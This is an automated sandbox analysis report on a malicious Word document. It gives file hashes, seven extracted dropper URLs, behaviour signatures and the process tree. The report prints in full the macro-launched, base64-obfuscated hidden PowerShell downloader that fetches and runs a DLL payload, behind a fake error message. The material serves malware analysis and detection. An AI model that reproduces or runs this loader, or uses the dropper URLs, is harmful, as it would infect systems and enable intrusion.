Analysis
-
max time kernel
74s -
max time network
47s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-03-2021 16:01
General
-
Target
05504-122020.doc
-
Size
208KB
-
MD5
129154ace2845c087bbd66916306f1fb
-
SHA1
65b731e5b97c63e59c03d2571de02414d4912eeb
-
SHA256
effe6ed0eaae43f9ab347679a9abfe647cc606e64c1f742259f8ddc73f58923a
-
SHA512
6616267e59fb1fb124b032b800b54d664ed44d8cdcd1ab3851d3fb90746e6264aee748956badbc0327a3b4f05b03c52c7331c9a1a1b7681443037f3273cdfd4a
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://anjumanclick.com/q/kvM/
exe.dropper
https://duocnhanhoa.com/wp-admin/J5JbVEY/
exe.dropper
https://yellomosquito.com/wp-includes/w/
exe.dropper
https://thaithienson.net/wp-admin/EksZXO/
exe.dropper
http://penambahberatbadan.info/r/pXPKwJ/
exe.dropper
https://thienloc.org/data-sgp-kgfig/AaK/
exe.dropper
https://ecomdemo2.ogsdev.net/wp-content/zWWB/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 7 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies Internet Explorer settings 1 TTPs 9 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\05504-122020.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD cwBWACAAIAAoACIAUwAiACsAIgBZADYAbAAiACkAIAAoACAAIABbAHQAWQBwAEUAXQAoACIAewA0AH0AewAyAH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAgACcAYwBUAG8AJwAsACcATwAuAEQASQByAGUAJwAsACcARQBtAC4ASQAnACwAJwBSAHkAJwAsACcAUwB5AHMAVAAnACkAIAApACAAOwAgACAAJAA3AFQAMAA2AGEAIAA9AFsAdABZAFAAZQBdACgAIgB7ADAAfQB7ADcAfQB7ADYAfQB7ADIAfQB7ADQAfQB7ADEAfQB7ADMAfQB7ADUAfQB7ADgAfQAiACAALQBGACAAJwBzAFkAUwBUAEUAJwAsACcAbgAnACwAJwBQACcALAAnAHQAbQAnACwAJwBPAGkAJwAsACcAQQBOAGEAZwBlACcALAAnAEUAcgBWAGkAQwBlACcALAAnAE0ALgBOAGUAVAAuAHMAJwAsACcAUgAnACkAIAA7ACAAIAAkAEUAcAByAGMAeQByADYAPQAoACcAVwBnACcAKwAoACcAMQAnACsAJwAzADEANwBnACcAKQApADsAJABSAHUAYgA3AGYAXwBxAD0AJABWAHoAOQBsADIAYQBpACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABSAGYAbQB4AG8AcAA0ADsAJABFAGIAegAyAHQAbgA0AD0AKAAoACcATgAnACsAJwA1ADYAJwApACsAKAAnAGwAJwArACcAcQA4ACcAKQArACcAbQAnACkAOwAgACQAUwBZADYAbAA6ADoAIgBDAFIAZQBgAEEAdABgAEUAZABJAHIAYABlAGMAVABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAEsAJwArACgAJwBwACcAKwAnAGYAWAAnACkAKwAnAG8AJwArACgAJwB4AHoAJwArACcAcgAnACkAKwAoACcAZwB5AEsAcABmAFMAJwArACcAMQA1AGwAJwArACcAcwBwACcAKwAnAG8ASwAnACsAJwBwAGYAJwApACkALgAiAHIARQBQAGwAYABBAEMAZQAiACgAKAAnAEsAcAAnACsAJwBmACcAKQAsAFsAcwB0AHIASQBOAGcAXQBbAGMAaABhAHIAXQA5ADIAKQApACkAOwAkAE4AcgByADUAcwBkAGsAPQAoACcARQA4ACcAKwAoACcAbwB0ACcAKwAnAGYAaQBwACcAKQApADsAIAAoAGkAdABFAG0AIAAgACgAIgBWAGEAUgBpAEEAYgAiACsAIgBsACIAKwAiAGUAOgA3AFQAMAA2AEEAIgApACAAKQAuAFYAYQBsAHUARQA6ADoAIgBzAGAAZQBjAHUAUgBpAGAAVABZAHAAYABSAGAATwBUAG8AYwBPAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEoAcgB3AHoAaABxADYAPQAoACcAWABzACcAKwAoACcAMwA4ACcAKwAnAGYAOABlACcAKQApADsAJABUAG0AaABiAG4AaAAxACAAPQAgACgAKAAnAFYAdAAnACsAJwBkACcAKQArACcAOQAnACsAKAAnADkAMAAzAGMAJwArACcAMwAnACkAKQA7ACQATwB3ADAAagBrAGwAcAA9ACgAKAAnAFkAXwAnACsAJwBrACcAKQArACgAJwB5AHcAJwArACcAZAB4ACcAKQApADsAJABYAF8AbABuAGIAagAzAD0AKAAoACcAUwAnACsAJwB4AGUAJwApACsAJwByAHMAJwArACcAcAB6ACcAKQA7ACQASgBqAGYANgB6AG4AMQA9ACQASABPAE0ARQArACgAKAAoACcASABVACcAKwAnAFcAWABvAHgAJwArACcAegAnACsAJwByAGcAeQAnACkAKwAoACcASABVACcAKwAnAFcAJwArACcAUwAxADUAbABzACcAKQArACcAcAAnACsAJwBvACcAKwAoACcASAAnACsAJwBVAFcAJwApACkALQBSAEUAcABMAEEAQwBlACAAKAAnAEgAJwArACcAVQBXACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABUAG0AaABiAG4AaAAxACsAKAAnAC4AJwArACgAJwBkAGwAJwArACcAbAAnACkAKQA7ACQAWAAxADcAaQBzAHgAaQA9ACgAJwBNACcAKwAoACcAMQBfAGYAJwArACcAdABmACcAKQArACcAOAAnACkAOwAkAFYAcgBjAGcAdQB5AGoAPQBOAEUAVwBgAC0ATwBgAEIAagBgAEUAYwBUACAAbgBlAFQALgB3AGUAYgBjAGwASQBlAG4AdAA7ACQASgA3AGUAagBwADcAcwA9ACgAKAAnAGgAJwArACgAKAAnAHQAdAAnACsAJwBwADoAcQAnACsAJwBxACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnAHEAJwArACcAcQApACgAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoAGEAbgAnACsAJwBqAHUAJwArACcAbQBhAG4AYwAnACkAKQArACgAKAAnAGwAJwArACcAaQBjACcAKwAnAGsALgAnACsAJwBjAG8AbQBxAHEAKQAoAHMAJwApACkAKwAoACgAJwAyACkAJwApACkAKwAnACgAJwArACcAcQAnACsAKAAoACcAcQBxACkAKABzACcAKwAnADIAKQAnACsAJwAoAGsAJwApACkAKwAnAHYATQAnACsAJwBxACcAKwAnAHEAJwArACgAKAAnACkAJwArACcAKABzACcAKQApACsAJwAyACcAKwAoACgAJwApACgAJwArACcAQAAnACkAKQArACcAaAAnACsAKAAnAHQAJwArACcAdABwAHMAOgAnACkAKwAoACgAJwBxACcAKwAnAHEAKQAoACcAKQApACsAJwBzADIAJwArACcAKQAnACsAKAAoACcAKABxAHEAKQAoACcAKwAnAHMAMgApACgAJwArACcAZAAnACkAKQArACgAJwB1ACcAKwAnAG8AYwBuAGgAJwApACsAKAAnAGEAbgAnACsAJwBoAG8AJwApACsAKAAoACcAYQAuAGMAbwAnACsAJwBtACcAKwAnAHEAcQApACcAKwAnACgAcwAyACkAJwArACcAKAB3ACcAKQApACsAKAAoACcAcAAnACsAJwAtAGEAJwArACcAZABtAGkAbgBxACcAKwAnAHEAKQAoAHMAMgApACgAJwApACkAKwAnAEoANQAnACsAJwBKACcAKwAoACcAYgBWACcAKwAnAEUAJwApACsAKAAoACcAWQBxAHEAJwArACcAKQAnACsAJwAoAHMAMgAnACkAKQArACcAKQAnACsAJwAoACcAKwAnAEAAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQArACgAJwBzACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAKABxAHEAKQAnACsAJwAoACcAKwAnAHMAMgApACgAeQAnACsAJwBlAGwAbABvAG0AbwBzACcAKQApACsAJwBxACcAKwAnAHUAaQAnACsAJwB0ACcAKwAnAG8ALgAnACsAKAAnAGMAbwBtACcAKwAnAHEAJwApACsAJwBxACcAKwAoACgAJwApACgAcwAyACcAKwAnACkAKAAnACkAKQArACcAdwAnACsAJwBwACcAKwAoACcALQBpAG4AJwArACcAYwBsAHUAZABlAHMAJwArACcAcQBxACcAKQArACgAKAAnACkAJwArACcAKABzACcAKQApACsAKAAoACcAMgApACcAKQApACsAKAAoACcAKAB3AHEAcQAnACsAJwApACcAKwAnACgAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAEAAJwApACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwBzADoAJwArACcAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKABxACcAKwAnAHEAKQAoACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwArACcAKAAnACsAJwB0AGgAYQBpAHQAJwApACkAKwAoACcAaAAnACsAJwBpAGUAbgAnACsAJwBzAG8AbgAnACkAKwAoACcALgBuACcAKwAnAGUAdABxACcAKwAnAHEAJwApACsAKAAoACcAKQAnACsAJwAoAHMAJwApACkAKwAoACgAJwAyACkAJwArACcAKAB3AHAALQAnACkAKQArACcAYQAnACsAKAAnAGQAJwArACcAbQBpACcAKQArACcAbgAnACsAJwBxACcAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoAHMAJwApACkAKwAoACgAJwAyACkAKABFAGsAJwArACcAcwAnACsAJwBaAFgAJwApACkAKwAnAE8AcQAnACsAKAAoACcAcQApACcAKQApACsAKAAoACcAKABzADIAKQAnACsAJwAoACcAKQApACsAJwBAACcAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAnADoAcQAnACsAKAAoACcAcQApACgAcwAyACcAKwAnACkAKABxAHEAKQAnACsAJwAoAHMAMgAnACsAJwApACgAcABlACcAKwAnAG4AYQBtACcAKQApACsAKAAnAGIAYQBoACcAKwAnAGIAJwApACsAKAAnAGUAcgBhAHQAYgAnACsAJwBhACcAKwAnAGQAJwApACsAJwBhACcAKwAnAG4AJwArACcALgAnACsAJwBpACcAKwAnAG4AZgAnACsAKAAoACcAbwBxAHEAKQAoAHMAJwArACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwByAHEAcQAnACsAJwApACgAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHAAWAAnACsAJwBQAEsAdwBKAHEAcQApACgAcwAyACkAJwApACkAKwAnACgAJwArACgAKAAnAEAAaAB0AHQAcAAnACsAJwBzADoAcQAnACsAJwBxACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnAHEAcQApACgAJwArACcAcwAyACkAKAB0ACcAKwAnAGgAJwArACcAaQBlAG4AbABvAGMAJwApACkAKwAoACcALgBvACcAKwAnAHIAJwApACsAKAAoACcAZwBxAHEAJwArACcAKQAoACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAKAAnACkAKQArACgAJwBkAGEAdABhAC0AcwAnACsAJwBnAHAALQBrACcAKwAnAGcAZgBpACcAKQArACcAZwAnACsAJwBxACcAKwAnAHEAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBzADIAKQAoAEEAYQAnACkAKQArACcASwAnACsAJwBxACcAKwAoACgAJwBxACkAJwArACcAKABzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQAAnACkAKQArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwAHMAJwApACsAKAAoACcAOgBxACcAKwAnAHEAKQAnACkAKQArACgAKAAnACgAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHEAJwApACkAKwAoACgAJwBxACkAKABzADIAJwArACcAKQAoAGUAYwAnACsAJwBvACcAKQApACsAJwBtAGQAJwArACgAJwBlACcAKwAnAG0AbwAyACcAKQArACcALgAnACsAKAAnAG8AJwArACcAZwBzACcAKQArACgAJwBkAGUAJwArACcAdgAnACkAKwAoACcALgBuAGUAJwArACcAdAAnACkAKwAoACgAJwBxAHEAKQAoACcAKwAnAHMAJwApACkAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHcAcAAtAGMAJwArACcAbwAnACkAKQArACgAJwBuAHQAJwArACcAZQBuAHQAJwApACsAJwBxACcAKwAnAHEAJwArACgAKAAnACkAKABzACcAKwAnADIAKQAnACkAKQArACgAKAAnACgAegBXACcAKwAnAFcAQgBxACcAKQApACsAKAAoACcAcQApACcAKwAnACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAoACcAKQApACkAKQAuACIAUgBFAGAAcABMAEEAYwBFACIAKAAoACgAJwBxAHEAJwArACgAKAAnACkAKAAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBTAHAAYABsAEkAdAAiACgAJABJADkAYgA0ADMAbwByACAAKwAgACQAUgB1AGIANwBmAF8AcQAgACsAIAAkAFYAbgB1AHgAaAAwADkAKQA7ACQASAAyADIAOABoAG8AcwA9ACgAJwBUADUAJwArACgAJwA3ACcAKwAnAGwAawB4ACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEEAdQBxAHAAbAAzADMAIABpAG4AIAAkAEoANwBlAGoAcAA3AHMAIAB8ACAAUwBvAGAAUgBUAGAALQBvAGAAQgBgAGoARQBDAHQAIAB7AEcAZQBUAGAALQByAGAAQQBOAGAARABPAE0AfQApAHsAdAByAHkAewAkAFYAcgBjAGcAdQB5AGoALgAiAEQAbwB3AE4ATABgAE8AYABBAGQARgBJAGwARQAiACgAJABBAHUAcQBwAGwAMwAzACwAIAAkAEoAagBmADYAegBuADEAKQA7ACQAUwBkAGYAdgBuADgAMwA9ACgAKAAnAEcAJwArACcAdQBvAGYAJwApACsAJwBjACcAKwAnAHYAawAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASgBqAGYANgB6AG4AMQApAC4AIgBMAEUATgBgAGcAdABIACIAIAAtAGcAZQAgADQAMAA1ADIAMgApACAAewAuACgAJwByAHUAbgAnACsAJwBkAGwAJwArACcAbAAzADIAJwApACAAJABKAGoAZgA2AHoAbgAxACwAJwAjADEAJwAuACIAVABvAFMAYABUAFIAYABJAE4ARwAiACgAKQA7ACQATAA1ADMAbwBhADQAOAA9ACgAKAAnAFQAYQAnACsAJwA5ACcAKQArACcAcwAnACsAKAAnAGYAJwArACcAYgBoACcAKQApADsAYgByAGUAYQBrADsAJABaADgAZAA0AG0AZwBvAD0AKAAoACcARgAnACsAJwB5AHkAYQAnACkAKwAoACcAbgAnACsAJwBpAGgAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAcwA1ADQAbABnADEAPQAoACcARwAnACsAKAAnAGcAdwAnACsAJwA3ADUAJwApACsAJwBhAGQAJwApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD cwBWACAAIAAoACIAUwAiACsAIgBZADYAbAAiACkAIAAoACAAIABbAHQAWQBwAEUAXQAoACIAewA0AH0AewAyAH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAgACcAYwBUAG8AJwAsACcATwAuAEQASQByAGUAJwAsACcARQBtAC4ASQAnACwAJwBSAHkAJwAsACcAUwB5AHMAVAAnACkAIAApACAAOwAgACAAJAA3AFQAMAA2AGEAIAA9AFsAdABZAFAAZQBdACgAIgB7ADAAfQB7ADcAfQB7ADYAfQB7ADIAfQB7ADQAfQB7ADEAfQB7ADMAfQB7ADUAfQB7ADgAfQAiACAALQBGACAAJwBzAFkAUwBUAEUAJwAsACcAbgAnACwAJwBQACcALAAnAHQAbQAnACwAJwBPAGkAJwAsACcAQQBOAGEAZwBlACcALAAnAEUAcgBWAGkAQwBlACcALAAnAE0ALgBOAGUAVAAuAHMAJwAsACcAUgAnACkAIAA7ACAAIAAkAEUAcAByAGMAeQByADYAPQAoACcAVwBnACcAKwAoACcAMQAnACsAJwAzADEANwBnACcAKQApADsAJABSAHUAYgA3AGYAXwBxAD0AJABWAHoAOQBsADIAYQBpACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABSAGYAbQB4AG8AcAA0ADsAJABFAGIAegAyAHQAbgA0AD0AKAAoACcATgAnACsAJwA1ADYAJwApACsAKAAnAGwAJwArACcAcQA4ACcAKQArACcAbQAnACkAOwAgACQAUwBZADYAbAA6ADoAIgBDAFIAZQBgAEEAdABgAEUAZABJAHIAYABlAGMAVABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAEsAJwArACgAJwBwACcAKwAnAGYAWAAnACkAKwAnAG8AJwArACgAJwB4AHoAJwArACcAcgAnACkAKwAoACcAZwB5AEsAcABmAFMAJwArACcAMQA1AGwAJwArACcAcwBwACcAKwAnAG8ASwAnACsAJwBwAGYAJwApACkALgAiAHIARQBQAGwAYABBAEMAZQAiACgAKAAnAEsAcAAnACsAJwBmACcAKQAsAFsAcwB0AHIASQBOAGcAXQBbAGMAaABhAHIAXQA5ADIAKQApACkAOwAkAE4AcgByADUAcwBkAGsAPQAoACcARQA4ACcAKwAoACcAbwB0ACcAKwAnAGYAaQBwACcAKQApADsAIAAoAGkAdABFAG0AIAAgACgAIgBWAGEAUgBpAEEAYgAiACsAIgBsACIAKwAiAGUAOgA3AFQAMAA2AEEAIgApACAAKQAuAFYAYQBsAHUARQA6ADoAIgBzAGAAZQBjAHUAUgBpAGAAVABZAHAAYABSAGAATwBUAG8AYwBPAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEoAcgB3AHoAaABxADYAPQAoACcAWABzACcAKwAoACcAMwA4ACcAKwAnAGYAOABlACcAKQApADsAJABUAG0AaABiAG4AaAAxACAAPQAgACgAKAAnAFYAdAAnACsAJwBkACcAKQArACcAOQAnACsAKAAnADkAMAAzAGMAJwArACcAMwAnACkAKQA7ACQATwB3ADAAagBrAGwAcAA9ACgAKAAnAFkAXwAnACsAJwBrACcAKQArACgAJwB5AHcAJwArACcAZAB4ACcAKQApADsAJABYAF8AbABuAGIAagAzAD0AKAAoACcAUwAnACsAJwB4AGUAJwApACsAJwByAHMAJwArACcAcAB6ACcAKQA7ACQASgBqAGYANgB6AG4AMQA9ACQASABPAE0ARQArACgAKAAoACcASABVACcAKwAnAFcAWABvAHgAJwArACcAegAnACsAJwByAGcAeQAnACkAKwAoACcASABVACcAKwAnAFcAJwArACcAUwAxADUAbABzACcAKQArACcAcAAnACsAJwBvACcAKwAoACcASAAnACsAJwBVAFcAJwApACkALQBSAEUAcABMAEEAQwBlACAAKAAnAEgAJwArACcAVQBXACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABUAG0AaABiAG4AaAAxACsAKAAnAC4AJwArACgAJwBkAGwAJwArACcAbAAnACkAKQA7ACQAWAAxADcAaQBzAHgAaQA9ACgAJwBNACcAKwAoACcAMQBfAGYAJwArACcAdABmACcAKQArACcAOAAnACkAOwAkAFYAcgBjAGcAdQB5AGoAPQBOAEUAVwBgAC0ATwBgAEIAagBgAEUAYwBUACAAbgBlAFQALgB3AGUAYgBjAGwASQBlAG4AdAA7ACQASgA3AGUAagBwADcAcwA9ACgAKAAnAGgAJwArACgAKAAnAHQAdAAnACsAJwBwADoAcQAnACsAJwBxACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnAHEAJwArACcAcQApACgAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoAGEAbgAnACsAJwBqAHUAJwArACcAbQBhAG4AYwAnACkAKQArACgAKAAnAGwAJwArACcAaQBjACcAKwAnAGsALgAnACsAJwBjAG8AbQBxAHEAKQAoAHMAJwApACkAKwAoACgAJwAyACkAJwApACkAKwAnACgAJwArACcAcQAnACsAKAAoACcAcQBxACkAKABzACcAKwAnADIAKQAnACsAJwAoAGsAJwApACkAKwAnAHYATQAnACsAJwBxACcAKwAnAHEAJwArACgAKAAnACkAJwArACcAKABzACcAKQApACsAJwAyACcAKwAoACgAJwApACgAJwArACcAQAAnACkAKQArACcAaAAnACsAKAAnAHQAJwArACcAdABwAHMAOgAnACkAKwAoACgAJwBxACcAKwAnAHEAKQAoACcAKQApACsAJwBzADIAJwArACcAKQAnACsAKAAoACcAKABxAHEAKQAoACcAKwAnAHMAMgApACgAJwArACcAZAAnACkAKQArACgAJwB1ACcAKwAnAG8AYwBuAGgAJwApACsAKAAnAGEAbgAnACsAJwBoAG8AJwApACsAKAAoACcAYQAuAGMAbwAnACsAJwBtACcAKwAnAHEAcQApACcAKwAnACgAcwAyACkAJwArACcAKAB3ACcAKQApACsAKAAoACcAcAAnACsAJwAtAGEAJwArACcAZABtAGkAbgBxACcAKwAnAHEAKQAoAHMAMgApACgAJwApACkAKwAnAEoANQAnACsAJwBKACcAKwAoACcAYgBWACcAKwAnAEUAJwApACsAKAAoACcAWQBxAHEAJwArACcAKQAnACsAJwAoAHMAMgAnACkAKQArACcAKQAnACsAJwAoACcAKwAnAEAAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQArACgAJwBzACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAKABxAHEAKQAnACsAJwAoACcAKwAnAHMAMgApACgAeQAnACsAJwBlAGwAbABvAG0AbwBzACcAKQApACsAJwBxACcAKwAnAHUAaQAnACsAJwB0ACcAKwAnAG8ALgAnACsAKAAnAGMAbwBtACcAKwAnAHEAJwApACsAJwBxACcAKwAoACgAJwApACgAcwAyACcAKwAnACkAKAAnACkAKQArACcAdwAnACsAJwBwACcAKwAoACcALQBpAG4AJwArACcAYwBsAHUAZABlAHMAJwArACcAcQBxACcAKQArACgAKAAnACkAJwArACcAKABzACcAKQApACsAKAAoACcAMgApACcAKQApACsAKAAoACcAKAB3AHEAcQAnACsAJwApACcAKwAnACgAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAEAAJwApACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwBzADoAJwArACcAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKABxACcAKwAnAHEAKQAoACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwArACcAKAAnACsAJwB0AGgAYQBpAHQAJwApACkAKwAoACcAaAAnACsAJwBpAGUAbgAnACsAJwBzAG8AbgAnACkAKwAoACcALgBuACcAKwAnAGUAdABxACcAKwAnAHEAJwApACsAKAAoACcAKQAnACsAJwAoAHMAJwApACkAKwAoACgAJwAyACkAJwArACcAKAB3AHAALQAnACkAKQArACcAYQAnACsAKAAnAGQAJwArACcAbQBpACcAKQArACcAbgAnACsAJwBxACcAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoAHMAJwApACkAKwAoACgAJwAyACkAKABFAGsAJwArACcAcwAnACsAJwBaAFgAJwApACkAKwAnAE8AcQAnACsAKAAoACcAcQApACcAKQApACsAKAAoACcAKABzADIAKQAnACsAJwAoACcAKQApACsAJwBAACcAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAnADoAcQAnACsAKAAoACcAcQApACgAcwAyACcAKwAnACkAKABxAHEAKQAnACsAJwAoAHMAMgAnACsAJwApACgAcABlACcAKwAnAG4AYQBtACcAKQApACsAKAAnAGIAYQBoACcAKwAnAGIAJwApACsAKAAnAGUAcgBhAHQAYgAnACsAJwBhACcAKwAnAGQAJwApACsAJwBhACcAKwAnAG4AJwArACcALgAnACsAJwBpACcAKwAnAG4AZgAnACsAKAAoACcAbwBxAHEAKQAoAHMAJwArACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwByAHEAcQAnACsAJwApACgAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHAAWAAnACsAJwBQAEsAdwBKAHEAcQApACgAcwAyACkAJwApACkAKwAnACgAJwArACgAKAAnAEAAaAB0AHQAcAAnACsAJwBzADoAcQAnACsAJwBxACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnAHEAcQApACgAJwArACcAcwAyACkAKAB0ACcAKwAnAGgAJwArACcAaQBlAG4AbABvAGMAJwApACkAKwAoACcALgBvACcAKwAnAHIAJwApACsAKAAoACcAZwBxAHEAJwArACcAKQAoACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAKAAnACkAKQArACgAJwBkAGEAdABhAC0AcwAnACsAJwBnAHAALQBrACcAKwAnAGcAZgBpACcAKQArACcAZwAnACsAJwBxACcAKwAnAHEAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBzADIAKQAoAEEAYQAnACkAKQArACcASwAnACsAJwBxACcAKwAoACgAJwBxACkAJwArACcAKABzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQAAnACkAKQArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwAHMAJwApACsAKAAoACcAOgBxACcAKwAnAHEAKQAnACkAKQArACgAKAAnACgAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHEAJwApACkAKwAoACgAJwBxACkAKABzADIAJwArACcAKQAoAGUAYwAnACsAJwBvACcAKQApACsAJwBtAGQAJwArACgAJwBlACcAKwAnAG0AbwAyACcAKQArACcALgAnACsAKAAnAG8AJwArACcAZwBzACcAKQArACgAJwBkAGUAJwArACcAdgAnACkAKwAoACcALgBuAGUAJwArACcAdAAnACkAKwAoACgAJwBxAHEAKQAoACcAKwAnAHMAJwApACkAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHcAcAAtAGMAJwArACcAbwAnACkAKQArACgAJwBuAHQAJwArACcAZQBuAHQAJwApACsAJwBxACcAKwAnAHEAJwArACgAKAAnACkAKABzACcAKwAnADIAKQAnACkAKQArACgAKAAnACgAegBXACcAKwAnAFcAQgBxACcAKQApACsAKAAoACcAcQApACcAKwAnACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAoACcAKQApACkAKQAuACIAUgBFAGAAcABMAEEAYwBFACIAKAAoACgAJwBxAHEAJwArACgAKAAnACkAKAAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBTAHAAYABsAEkAdAAiACgAJABJADkAYgA0ADMAbwByACAAKwAgACQAUgB1AGIANwBmAF8AcQAgACsAIAAkAFYAbgB1AHgAaAAwADkAKQA7ACQASAAyADIAOABoAG8AcwA9ACgAJwBUADUAJwArACgAJwA3ACcAKwAnAGwAawB4ACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEEAdQBxAHAAbAAzADMAIABpAG4AIAAkAEoANwBlAGoAcAA3AHMAIAB8ACAAUwBvAGAAUgBUAGAALQBvAGAAQgBgAGoARQBDAHQAIAB7AEcAZQBUAGAALQByAGAAQQBOAGAARABPAE0AfQApAHsAdAByAHkAewAkAFYAcgBjAGcAdQB5AGoALgAiAEQAbwB3AE4ATABgAE8AYABBAGQARgBJAGwARQAiACgAJABBAHUAcQBwAGwAMwAzACwAIAAkAEoAagBmADYAegBuADEAKQA7ACQAUwBkAGYAdgBuADgAMwA9ACgAKAAnAEcAJwArACcAdQBvAGYAJwApACsAJwBjACcAKwAnAHYAawAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASgBqAGYANgB6AG4AMQApAC4AIgBMAEUATgBgAGcAdABIACIAIAAtAGcAZQAgADQAMAA1ADIAMgApACAAewAuACgAJwByAHUAbgAnACsAJwBkAGwAJwArACcAbAAzADIAJwApACAAJABKAGoAZgA2AHoAbgAxACwAJwAjADEAJwAuACIAVABvAFMAYABUAFIAYABJAE4ARwAiACgAKQA7ACQATAA1ADMAbwBhADQAOAA9ACgAKAAnAFQAYQAnACsAJwA5ACcAKQArACcAcwAnACsAKAAnAGYAJwArACcAYgBoACcAKQApADsAYgByAGUAYQBrADsAJABaADgAZAA0AG0AZwBvAD0AKAAoACcARgAnACsAJwB5AHkAYQAnACkAKwAoACcAbgAnACsAJwBpAGgAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAcwA1ADQAbABnADEAPQAoACcARwAnACsAKAAnAGcA